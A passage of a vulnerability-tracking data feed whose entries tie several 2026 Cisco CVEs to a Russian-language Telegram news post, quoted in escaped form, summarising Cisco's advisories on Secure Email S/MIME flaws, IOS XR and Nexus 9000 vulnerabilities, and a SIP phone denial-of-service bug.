\u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-03T19:00:05.743944Z"}, {"uuid": "d14e94b7-87b1-43b6-9d0a-1970bb9bef80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20281", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-03T19:00:05.799130Z"}, {"uuid": "0f60f53b-ef0b-460e-bf6e-8f523dc66dc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 